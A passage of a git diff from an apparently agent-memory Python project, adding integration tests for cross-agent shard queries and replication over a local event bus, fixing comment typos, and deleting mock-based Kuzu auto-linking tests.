Without the target_agent filter all agents respond to every SHARD_QUERY. + On Azure Service Bus (Standard SKU) a wrong agent's empty response can + arrive first, wake done.wait(), and cause the correct agent's facts to + be dropped after pending[correlation_id] is removed. + + This test sends a SHARD_QUERY targeting agent-0 and verifies that agents + 1-4 do NOT publish a SHARD_RESPONSE for it. + """ + transports = five_agent_cluster["transports"] + bus = five_agent_cluster["bus"] + + # Send a SHARD_QUERY explicitly targeting agent-0 + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="agent-1", + payload={ + "query": "test query", + "limit": 5, + "correlation_id": correlation_id, + "target_agent": "agent-0", # ← only agent-0 should respond + }, + ) + bus.publish(query_event) + + # Drain SHARD_QUERY from agents 1-4's mailboxes and call handle_shard_query + response_count = 0 + for agent_id in ["agent-1", "agent-2", "agent-3", "agent-4"]: + for event in bus.poll(agent_id): + if event.event_type == "SHARD_QUERY": + transports[agent_id].handle_shard_query(event) + + # Collect SHARD_RESPONSE events from agent-1's mailbox + # (responses from agents 2-4 would go to agent-1 since it sent the query) + import time as _time + + _time.sleep(0.05) # allow any spurious publishes to arrive + for event in bus.poll("agent-1"): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + response_count += 1 + + assert response_count == 0, ( + f"Non-targeted agents must NOT respond to SHARD_QUERY. " + f"Got {response_count} spurious SHARD_RESPONSE(s) from agents 1-4." + ) + + def test_total_facts_equals_promoted_no_replication(self, five_agent_cluster): + """Bug 1 fix: total facts across all shards == number promoted (no duplication).""" + dhts = five_agent_cluster["dhts"] + + for i in range(5): + dhts[f"agent-{i}"].promote_fact( + f"agent-{i}", + _make_fact(f"Unique fact number {i} from agent {i}", "test", f"agent-{i}"), + ) + + # Each agent's DHT counts facts in its own local shard only + # (remote agents' shards are empty stubs in other agents' DHTs) + total = sum(dhts[f"agent-{i}"].get_stats()["fact_count"] for i in range(5)) + + # With Bug 1 fix: each agent stores locally → 5 facts total across local shards + # Without fix: DHT would route to remote agents losing facts or doubling them + assert total == 5, f"Expected 5 facts total (one per agent, no replication), got {total}" + + +# --------------------------------------------------------------------------- +# Phase 6: Full GoalSeekingAgent orient() cross-agent fact retrieval +# --------------------------------------------------------------------------- + + +class TestGoalSeekingAgentOrientCrossAgent: + """Criterion 6: agent-1's orient() surfaces facts stored by agent-0 via cross-shard query.""" + + def test_orient_surfaces_cross_agent_facts(self, five_agent_cluster): + """Full GoalSeekingAgent orient() path: agent-1 orient() retrieves agent-0's facts. + + This validates the complete stack: + GoalSeekingAgent.orient() + -> CognitiveAdapter.search() -> _search_hive() + -> DistributedHiveGraph.query_facts() + -> DHTRouter._select_query_targets() fans out to all agents (Bug 2 fix) + -> SHARD_QUERY sent to agent-0 via EventHubsShardTransport (local bridge) + -> agent-0 shard listener responds with SHARD_RESPONSE + -> agent-1 collects SHARD_RESPONSE and returns facts + """ + dhts = five_agent_cluster["dhts"] + transports = five_agent_cluster["transports"] + bus = five_agent_cluster["bus"] + agent_names = five_agent_cluster["agent_names"] + + # agent-0 promotes a fact (stored locally via Bug 1 fix) + dhts["agent-0"].promote_fact( + "agent-0", + _make_fact("Marie Curie discovered radium in 1898", "science", "agent-0"), + ) + + # Start shard listeners for all agents (including agent-0 which holds the fact) + shutdown = threading.Event() + listeners = [] + for name in agent_names: + transport = transports[name] + agent_name = name + + def make_loop(t, n, sb): + def loop(): + while not sb.is_set(): + for event in bus.poll(n): + if event.event_type == "SHARD_QUERY": + t.handle_shard_query(event) + elif event.event_type == "SHARD_RESPONSE": + t.handle_shard_response(event) + time.sleep(0.005) + + return loop + + thread = threading.Thread( + target=make_loop(transport, agent_name, shutdown), + daemon=True, + name=f"listener-{agent_name}", + ) + thread.start() + listeners.append(thread) + + try: + with tempfile.TemporaryDirectory() as tmpdir: + # Create GoalSeekingAgent for agent-1 using its distributed hive as hive_store + agent = GoalSeekingAgent( + agent_name="agent-1", + storage_path=Path(tmpdir), + use_hierarchical=True, + hive_store=dhts["agent-1"], + ) + + agent.observe("Who discovered radium?") + context = agent.orient() + + facts = context.get("facts", []) + fact_text = " ".join(str(f) for f in facts) + + assert "Marie Curie" in fact_text or "radium" in fact_text or "1898" in fact_text, ( + f"agent-1 orient() did not surface agent-0's fact about Marie Curie. " + f"Got facts: {facts}" + ) + finally: + shutdown.set() + for t in listeners: + t.join(timeout=2.0) + + +# --------------------------------------------------------------------------- +# Phase 7: SHARD_STORE replication — every agent holds all facts +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def two_shard_cluster_all_peers(): + """Two agents with cross-registration so replication can occur. + + Each agent registers BOTH agents so promote_fact broadcasts SHARD_STORE + to peers. This mirrors the production _init_dht_hive() which registers + all N agents on each DHT. + Uses LocalEventBus bridge so EH transports communicate in-process without Azure. + """ + bus = LocalEventBus() + + transport_0 = _make_eh_transport(bus, "agent-0") + dht_0 = DistributedHiveGraph( + hive_id="shard-agent-0", enable_gossip=False, transport=transport_0 + ) + dht_0.register_agent("agent-0") + dht_0.register_agent("agent-1") + bus.subscribe("agent-0") + + transport_1 = _make_eh_transport(bus, "agent-1") + dht_1 = DistributedHiveGraph( + hive_id="shard-agent-1", enable_gossip=False, transport=transport_1 + ) + dht_1.register_agent("agent-0") + dht_1.register_agent("agent-1") + bus.subscribe("agent-1") + + yield { + "bus": bus, + "dht_0": dht_0, + "dht_1": dht_1, + "transport_0": transport_0, + "transport_1": transport_1, + } + + bus.close() + + +class TestShardStoreReplication: + """Verify SHARD_STORE transport protocol: handle_shard_store persists replicated facts. + + Note: promote_fact no longer broadcasts SHARD_STORE events to peers (pure DHT + sharding — commit e2da57e9 reverted). Cross-shard retrieval quality is achieved + via CognitiveAdapter.search() in handle_shard_query instead. These tests verify + that the SHARD_STORE handler itself still works correctly for transports that + explicitly call store_on_shard() on a remote peer (e.g. for manual replication). + """ + + def test_promote_does_not_broadcast_shard_store_to_peers(self, two_shard_cluster_all_peers): + """promote_fact stores locally only — no SHARD_STORE broadcast (pure DHT sharding).""" + dht_0 = two_shard_cluster_all_peers["dht_0"] + bus = two_shard_cluster_all_peers["bus"] + + fact = _make_fact("Sarah Chen was born on March 15", "people", "agent-0") + dht_0.promote_fact("agent-0", fact) + + # No SHARD_STORE events should be published (pure DHT sharding) + events = bus.poll("agent-1") + shard_store_events = [e for e in events if e.event_type == "SHARD_STORE"] + assert len(shard_store_events) == 0, ( + f"promote_fact should not broadcast SHARD_STORE after revert of e2da57e9, " + f"got: {[e.event_type for e in events]}" + ) + + def test_handle_shard_store_persists_replica(self, two_shard_cluster_all_peers): + """handle_shard_store stores a replicated fact in agent-1's local shard.""" + transport_1 = two_shard_cluster_all_peers["transport_1"] + bus = two_shard_cluster_all_peers["bus"] + + # Manually publish a SHARD_STORE event (as a transport would do) + store_event = make_event( + event_type="SHARD_STORE", + source_agent="agent-0", + payload={ + "target_agent": "agent-1", + "fact": { + "fact_id": "test-fact-id", + "content": "Sarah Chen was born on March 15", + "concept": "people", + "confidence": 0.9, + "source_agent": "agent-0", + "tags": ["people"], + }, + }, + ) + bus.publish(store_event) + + # Process the SHARD_STORE event + events = bus.poll("agent-1") + for event in events: + if event.event_type == "SHARD_STORE": + transport_1.handle_shard_store(event) + + # Verify via transport_1's local_graph shard + local_graph = transport_1._local_graph + assert local_graph is not None + shard = local_graph._router.get_shard("agent-1") + assert shard is not None, "agent-1 shard missing from its own DHT router" + facts = shard.search("sarah chen") + assert any("Sarah Chen" in f.content for f in facts), ( + f"Replicated fact not found in agent-1's shard after handle_shard_store. " + f"Shard has {shard.fact_count} facts." + ) + + +# --------------------------------------------------------------------------- +# Phase 8: CognitiveAdapter cross-shard retrieval via handle_shard_query +# --------------------------------------------------------------------------- + + +class TestCognitiveAdapterCrossShardRetrieval: + """Verify that _shard_query_listener passes agent to handle_shard_query + so cross-shard queries use CognitiveAdapter.search() instead of raw ShardStore. + """ + + def test_handle_shard_query_uses_agent_memory_search(self, two_shard_cluster): + """handle_shard_query with agent uses agent.memory.search() (CognitiveAdapter path).""" + transport_0 = two_shard_cluster["transport_0"] + bus = two_shard_cluster["bus"] + + # Create a mock agent whose memory.search() returns a known result + search_called_with: list[str] = [] + + class _MockMemory: + def search(self, query, limit=20): + search_called_with.append(query) + return [ + type( + "Fact", + (), + { + "fact_id": "ca-fact", + "content": "CognitiveAdapter result: Sarah Chen born March 15", + "concept": "people", + "confidence": 0.95, + "source_agent": "agent-0", + "tags": [], + }, + )() + ] + + class _MockAgent: + memory = _MockMemory() + + mock_agent = _MockAgent() + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="agent-1", + payload={ + "query": "Sarah Chen", + "limit": 5, + "correlation_id": correlation_id, + "target_agent": "agent-0", + }, + ) + bus.publish(query_event) + + # Process via handle_shard_query with agent + for event in bus.poll("agent-0"): + if event.event_type == "SHARD_QUERY": + transport_0.handle_shard_query(event, agent=mock_agent) + + assert search_called_with, "agent.memory.search() was never called" + assert search_called_with[0] == "Sarah Chen" + + # Verify SHARD_RESPONSE contains CognitiveAdapter result + response_facts: list[dict] = [] + for event in bus.poll("agent-1"): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + response_facts.extend(event.payload.get("facts", [])) + + texts = [f["content"] for f in response_facts] + assert any("CognitiveAdapter" in t for t in texts), ( + f"CognitiveAdapter result missing from SHARD_RESPONSE. Got: {texts}" + ) + + def test_shard_query_listener_passes_agent_to_handle_shard_query(self, two_shard_cluster): + """_shard_query_listener passes the agent instance to handle_shard_query.""" + transport_0 = two_shard_cluster["transport_0"] + bus = two_shard_cluster["bus"] + + search_calls: list[str] = [] + + class _MockMemory: + def search(self, query, limit=20): + search_calls.append(query) + return [ + type( + "F", + (), + { + "fact_id": "f1", + "content": "Lars Eriksson plays hockey", + "concept": "sports", + "confidence": 0.9, + "source_agent": "agent-0", + "tags": [], + }, + )() + ] + + class _MockAgent: + memory = _MockMemory() + + mock_agent = _MockAgent() + shutdown = threading.Event() + + listener_0 = threading.Thread( + target=_shard_query_listener, + args=(transport_0, "agent-0", bus, shutdown, mock_agent), + daemon=True, + ) + listener_0.start() + + try: + # Agent-1 sends a SHARD_QUERY targeting agent-0 + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="agent-1", + payload={ + "query": "Lars Eriksson", + "limit": 5, + "correlation_id": correlation_id, + "target_agent": "agent-0", + }, + ) + bus.publish(query_event) + + # Wait for the listener to process the event + deadline = time.time() + 3.0 + while time.time() < deadline and not search_calls: + time.sleep(0.05) + + assert search_calls, "agent.memory.search() not called by listener thread" + + # Verify response came back + response_facts: list[dict] = [] + for event in bus.poll("agent-1"): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + response_facts.extend(event.payload.get("facts", [])) + + texts = [f["content"] for f in response_facts] + assert any("Lars Eriksson" in t for t in texts), ( + f"CognitiveAdapter result missing from cross-shard response. Got: {texts}" + ) + finally: + shutdown.set() + listener_0.join(timeout=2.0) diff --git a/tests/integration/uvx/test_hooks.py b/tests/integration/uvx/test_hooks.py index 55989a87e..9d3b355bf 100644 --- a/tests/integration/uvx/test_hooks.py +++ b/tests/integration/uvx/test_hooks.py @@ -23,7 +23,7 @@ uvx_launch_with_test_project, ) -# Git reference to test (customize fer yer branch) +# Git reference to test (customize for yer branch) GIT_REF = "feat/issue-1948-plugin-architecture" TIMEOUT = 60 # 60 seconds per test diff --git a/tests/integration/uvx/verify_implementation.py b/tests/integration/uvx/verify_implementation.py index 60481dbaf..965f69fa8 100755 --- a/tests/integration/uvx/verify_implementation.py +++ b/tests/integration/uvx/verify_implementation.py @@ -7,7 +7,7 @@ import sys from pathlib import Path -# Colors fer output +# Colors for output GREEN = "\033[92m" RED = "\033[91m" RESET = "\033[0m" @@ -128,7 +128,7 @@ def main(): print("\n" + "=" * 60) if all_good: print(f"{GREEN}✓ ALL CHECKS PASSED{RESET}") - print("\nImplementation is complete and ready fer testing!") + print("\nImplementation is complete and ready for testing!") return 0 print(f"{RED}✗ SOME CHECKS FAILED{RESET}") print("\nPlease review errors above.") diff --git a/tests/memory/__init__.py b/tests/memory/__init__.py new file mode 100644 index 000000000..f884b820f --- /dev/null +++ b/tests/memory/__init__.py @@ -0,0 +1 @@ +"""Memory tests package.""" diff --git a/tests/memory/backends/test_kuzu_auto_linking.py b/tests/memory/backends/test_kuzu_auto_linking.py deleted file mode 100644 index a1c1cb5ea..000000000 --- a/tests/memory/backends/test_kuzu_auto_linking.py +++ /dev/null @@ -1,587 +0,0 @@ -"""Tests for automated memory-code linking in Kuzu backend. - -Tests Week 3 functionality: -- Auto-linking memories to code files based on metadata -- Auto-linking memories to functions based on content -- Relevance scoring (1.0 for metadata, 0.8 for content) -- Link deduplication -- Performance requirements - -Philosophy: -- Test behavior, not implementation -- Focus on integration: store_memory() should auto-link -- Validate link quality (correct relevance scores, no duplicates) -""" - -import tempfile -from datetime import datetime -from unittest.mock import Mock, patch - -from src.amplihack.memory.models import MemoryEntry, MemoryType - - -class TestAutoLinkingBasics: - """Test basic auto-linking functionality.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_memory_with_file_metadata_creates_file_link(self, mock_kuzu): - """Test that storing a memory with file metadata auto-creates file link.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - # Mock result for file path query (return one matching file) - mock_file_result = Mock() - mock_file_result.has_next.side_effect = [True, False] # One result - mock_file_result.get_next.return_value = ["src/test.py"] - - # Mock result for existing relationship check (no existing links) - mock_check_result = Mock() - mock_check_result.has_next.return_value = True - mock_check_result.get_next.return_value = [0] # No existing relationships - - # Setup execute to return appropriate mocks - def execute_side_effect(query, params=None): - if "CodeFile" in query and "CONTAINS" in query: - return mock_file_result - if "COUNT(r)" in query: - return mock_check_result - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db", enable_auto_linking=True) - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Test Event", - content="Modified file", - metadata={"file": "src/test.py"}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - - result = backend.store_memory(memory) - - assert result is True, "store_memory() failed" - - # Check that file link was created with correct relevance score - calls = [str(call) for call in mock_conn.execute.call_args_list] - relates_to_file_calls = [c for c in calls if "RELATES_TO_FILE" in str(c)] - - assert len(relates_to_file_calls) > 0, "No RELATES_TO_FILE link created" - - # Verify relevance score is 1.0 for metadata match - file_link_create = [c for c in relates_to_file_calls if "CREATE" in str(c)] - assert len(file_link_create) > 0, "File link not created" - assert "relevance_score" in str(file_link_create[0]), "Missing relevance_score" - assert "1.0" in str(file_link_create[0]), "Relevance score should be 1.0 for metadata" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_memory_with_function_in_content_creates_function_link(self, mock_kuzu): - """Test that storing a memory mentioning a function auto-creates function link.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - # Mock result for function name query (return one matching function) - mock_func_result = Mock() - mock_func_result.has_next.side_effect = [True, False] - mock_func_result.get_next.return_value = ["func_123", "process_data"] - - # Mock result for existing relationship check - mock_check_result = Mock() - mock_check_result.has_next.return_value = True - mock_check_result.get_next.return_value = [0] - - def execute_side_effect(query, params=None): - if "Function" in query and "CONTAINS" in query: - return mock_func_result - if "COUNT(r)" in query: - return mock_check_result - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db", enable_auto_linking=True) - backend.initialize() - - memory = MemoryEntry( - id="test-2", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="Function Knowledge", - content="The process_data function handles input validation", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - - result = backend.store_memory(memory) - - assert result is True, "store_memory() failed" - - # Check that function link was created - calls = [str(call) for call in mock_conn.execute.call_args_list] - relates_to_func_calls = [c for c in calls if "RELATES_TO_FUNCTION" in str(c)] - - assert len(relates_to_func_calls) > 0, "No RELATES_TO_FUNCTION link created" - - # Verify relevance score is 0.8 for content match - func_link_create = [c for c in relates_to_func_calls if "CREATE" in str(c)] - assert len(func_link_create) > 0, "Function link not created" - assert "relevance_score" in str(func_link_create[0]), "Missing relevance_score" - assert "0.8" in str(func_link_create[0]), "Relevance score should be 0.8 for content" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_auto_linking_can_be_disabled(self, mock_kuzu): - """Test that auto-linking can be disabled via constructor parameter.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db", enable_auto_linking=False) - backend.initialize() - - memory = MemoryEntry( - id="test-3", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Test Event", - content="Modified file", - metadata={"file": "src/test.py"}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - result = backend.store_memory(memory) - - assert result is True, "store_memory() failed" - - # Should NOT query for code files or functions - calls = [str(call) for call in mock_conn.execute.call_args_list] - code_queries = [c for c in calls if "CodeFile" in str(c) or "Function" in str(c)] - - # Should have no code queries (only memory creation) - assert len(code_queries) == 0, f"Auto-linking ran when disabled: {code_queries}" - - -class TestAutoLinkingRelevanceScoring: - """Test relevance scoring logic.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_metadata_file_match_scores_1_0(self, mock_kuzu): - """Test that file path from metadata gets relevance score 1.0.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - mock_file_result = Mock() - mock_file_result.has_next.side_effect = [True, False] - mock_file_result.get_next.return_value = ["src/test.py"] - - mock_check_result = Mock() - mock_check_result.has_next.return_value = True - mock_check_result.get_next.return_value = [0] - - def execute_side_effect(query, params=None): - if "CodeFile" in query and "CONTAINS" in query: - return mock_file_result - if "COUNT(r)" in query: - return mock_check_result - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-4", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="File Change", - content="Updated logic", - metadata={"file": "src/test.py"}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - backend.store_memory(memory) - - # Find CREATE statement for file link - calls = [str(call) for call in mock_conn.execute.call_args_list] - create_calls = [c for c in calls if "RELATES_TO_FILE" in str(c) and "CREATE" in str(c)] - - assert len(create_calls) > 0, "No file link created" - # Verify relevance_score: 1.0 appears in CREATE statement - assert "relevance_score" in str(create_calls[0]) - assert "1.0" in str(create_calls[0]) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_content_function_match_scores_0_8(self, mock_kuzu): - """Test that function name from content gets relevance score 0.8.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - mock_func_result = Mock() - mock_func_result.has_next.side_effect = [True, False] - mock_func_result.get_next.return_value = ["func_456", "calculate"] - - mock_check_result = Mock() - mock_check_result.has_next.return_value = True - mock_check_result.get_next.return_value = [0] - - def execute_side_effect(query, params=None): - if "Function" in query and "CONTAINS" in query: - return mock_func_result - if "COUNT(r)" in query: - return mock_check_result - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-5", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="Function Info", - content="The calculate function performs computations", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - backend.store_memory(memory) - - # Find CREATE statement for function link - calls = [str(call) for call in mock_conn.execute.call_args_list] - create_calls = [ - c for c in calls if "RELATES_TO_FUNCTION" in str(c) and "CREATE" in str(c) - ] - - assert len(create_calls) > 0, "No function link created" - assert "relevance_score" in str(create_calls[0]) - assert "0.8" in str(create_calls[0]) - - -class TestAutoLinkingDeduplication: - """Test that duplicate links are not created.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_duplicate_file_links_not_created(self, mock_kuzu): - """Test that storing memory twice doesn't create duplicate file links.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - mock_file_result = Mock() - mock_file_result.has_next.side_effect = [True, False] - mock_file_result.get_next.return_value = ["src/test.py"] - - # First call: no existing links (return 0) - # Second call: existing link found (return 1) - call_count = [0] - - def get_check_result(): - call_count[0] += 1 - mock_result = Mock() - mock_result.has_next.return_value = True - if call_count[0] == 1: - mock_result.get_next.return_value = [0] # No existing - else: - mock_result.get_next.return_value = [1] # Already exists - return mock_result - - def execute_side_effect(query, params=None): - if "CodeFile" in query and "CONTAINS" in query: - return mock_file_result - if "COUNT(r)" in query: - return get_check_result() - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-6", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Event", - content="Content", - metadata={"file": "src/test.py"}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - # First storage - should create link - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - backend.store_memory(memory) - - first_calls = [str(c) for c in mock_conn.execute.call_args_list] - first_creates = [ - c for c in first_calls if "RELATES_TO_FILE" in str(c) and "CREATE" in str(c) - ] - assert len(first_creates) > 0, "First link not created" - - # Second storage - should NOT create duplicate - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - backend.store_memory(memory) - - second_calls = [str(c) for c in mock_conn.execute.call_args_list] - second_creates = [ - c for c in second_calls if "RELATES_TO_FILE" in str(c) and "CREATE" in str(c) - ] - assert len(second_creates) == 0, "Duplicate link created" - - -class TestAutoLinkingContextMetadata: - """Test that link context metadata is properly set.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_file_link_has_metadata_context(self, mock_kuzu): - """Test that file links include context='metadata_file_match'.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - mock_file_result = Mock() - mock_file_result.has_next.side_effect = [True, False] - mock_file_result.get_next.return_value = ["src/test.py"] - - mock_check_result = Mock() - mock_check_result.has_next.return_value = True - mock_check_result.get_next.return_value = [0] - - def execute_side_effect(query, params=None): - if "CodeFile" in query and "CONTAINS" in query: - return mock_file_result - if "COUNT(r)" in query: - return mock_check_result - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-7", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Event", - content="Content", - metadata={"file": "src/test.py"}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - backend.store_memory(memory) - - calls = [str(c) for c in mock_conn.execute.call_args_list] - create_calls = [c for c in calls if "RELATES_TO_FILE" in str(c) and "CREATE" in str(c)] - - assert len(create_calls) > 0, "No file link created" - assert "context" in str(create_calls[0]) - assert "metadata_file_match" in str(create_calls[0]) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_function_link_has_content_context(self, mock_kuzu): - """Test that function links include context='content_name_match'.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - mock_func_result = Mock() - mock_func_result.has_next.side_effect = [True, False] - mock_func_result.get_next.return_value = ["func_789", "helper"] - - mock_check_result = Mock() - mock_check_result.has_next.return_value = True - mock_check_result.get_next.return_value = [0] - - def execute_side_effect(query, params=None): - if "Function" in query and "CONTAINS" in query: - return mock_func_result - if "COUNT(r)" in query: - return mock_check_result - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-8", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="Knowledge", - content="The helper function assists with validation", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - mock_conn.execute.side_effect = execute_side_effect - backend.store_memory(memory) - - calls = [str(c) for c in mock_conn.execute.call_args_list] - create_calls = [ - c for c in calls if "RELATES_TO_FUNCTION" in str(c) and "CREATE" in str(c) - ] - - assert len(create_calls) > 0, "No function link created" - assert "context" in str(create_calls[0]) - assert "content_name_match" in str(create_calls[0]) - - -class TestAutoLinkingErrorHandling: - """Test that auto-linking failures don't break memory storage.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_linking_failure_does_not_fail_storage(self, mock_kuzu): - """Test that memory storage succeeds even if linking fails.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - call_counter = [0] - - # Make code file query raise an exception ONLY during store_memory - def execute_side_effect(query, params=None): - call_counter[0] += 1 - # Let initialization succeed (first ~38 calls) - if call_counter[0] <= 40: - return Mock(has_next=Mock(return_value=False)) - # Then fail on code file queries during auto-linking - if "CodeFile" in query and "CONTAINS" in query: - raise Exception("Database error") - return Mock(has_next=Mock(return_value=False)) - - mock_conn.execute.side_effect = execute_side_effect - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-9", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Event", - content="Content", - metadata={"file": "src/test.py"}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - # Should succeed despite linking failure - result = backend.store_memory(memory) - assert result is True, "Memory storage failed when linking failed" - - -class TestAutoLinkingPerformance: - """Test performance characteristics of auto-linking.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_auto_linking_completes_quickly(self, mock_kuzu): - """Test that auto-linking adds minimal overhead to store_memory().""" - import time - - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - # Mock fast responses - mock_result = Mock() - mock_result.has_next.return_value = False - - mock_conn.execute.return_value = mock_result - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-10", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Event", - content="Content", - metadata={"file": "src/test.py"}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - - start = time.time() - backend.store_memory(memory) - elapsed = time.time() - start - - # Should complete in <100ms (mostly mock overhead) - assert elapsed < 0.5, f"Auto-linking too slow: {elapsed:.2f}s" diff --git a/tests/memory/backends/test_kuzu_code_schema.py b/tests/memory/backends/test_kuzu_code_schema.py deleted file mode 100644 index 6017aecdc..000000000 --- a/tests/memory/backends/test_kuzu_code_schema.py +++ /dev/null @@ -1,658 +0,0 @@ -"""Tests for Kùzu code graph schema extension. - -Tests the new code graph schema with: -- 3 code node types (CodeFile, Class, Function) -- 7 code relationship types (DEFINED_IN, METHOD_OF, CALLS, INHERITS, IMPORTS, REFERENCES, CONTAINS) -- 10 memory-code link types (5 memory types x 2 code targets) - -Philosophy: -- TDD approach: Write failing tests first, implement to make them pass -- Test behavior, not implementation -- Focus on critical path: schema creation, idempotency, regression -""" - -import tempfile -from datetime import datetime -from unittest.mock import Mock, patch - -from src.amplihack.memory.models import MemoryEntry, MemoryType - - -class TestKuzuCodeSchemaCreation: - """Test that all 20 new code schema tables are created.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def 